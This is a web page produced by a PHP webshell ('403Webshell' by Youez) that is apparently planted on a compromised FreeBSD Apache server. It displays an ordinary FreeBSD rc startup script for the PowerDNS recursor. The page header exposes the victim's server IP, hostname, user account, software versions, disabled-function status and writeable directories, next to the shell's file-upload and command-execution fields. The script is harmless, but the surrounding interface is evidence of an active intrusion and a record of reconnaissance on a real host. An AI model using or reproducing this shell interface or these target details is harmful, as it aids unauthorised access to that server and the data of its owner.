403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/dns/powerdns-recursor/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/dns/powerdns-recursor/files/pdns-recursor.in
#!/bin/sh

# PROVIDE: pdns_recursor
# REQUIRE: NETWORKING
# BEFORE: SERVERS
# KEYWORD: shutdown

#
# Add the following lines to /etc/rc.conf to enable pdns_recursor:
#
# pdns_recursor_enable="YES"
# pdns_recursor_flags="<set as needed>"
#
# See pdns_recursor(8) for flags.
#

. /etc/rc.subr

name=pdns_recursor
rcvar=pdns_recursor_enable

load_rc_config ${name}

pdns_recursor_enable=${pdns_recursor_enable:-"NO"}
pdns_recursor_conf=${pdns_recursor_conf:-"%%PREFIX%%/etc/pdns/recursor.conf"}
required_files=${pdns_recursor_conf}

# run_rc_command would send ${name}_flags as parameters to $command (daemon)
# This ensures they are actually passed to pdns_recursor instead.
actual_pdns_recursor_flags="${pdns_recursor_flags}"
pdns_recursor_flags=""

pidfile="/var/run/${name}.pid"
actual_command="%%PREFIX%%/sbin/${name}"
command="/usr/sbin/daemon"
command_args="-c -f -r -P ${pidfile} ${actual_command} --daemon=no --write-pid=no ${actual_pdns_recursor_flags}"

run_rc_command "$1"

Youez - 2016 - github.com/yon3zu
LinuXploit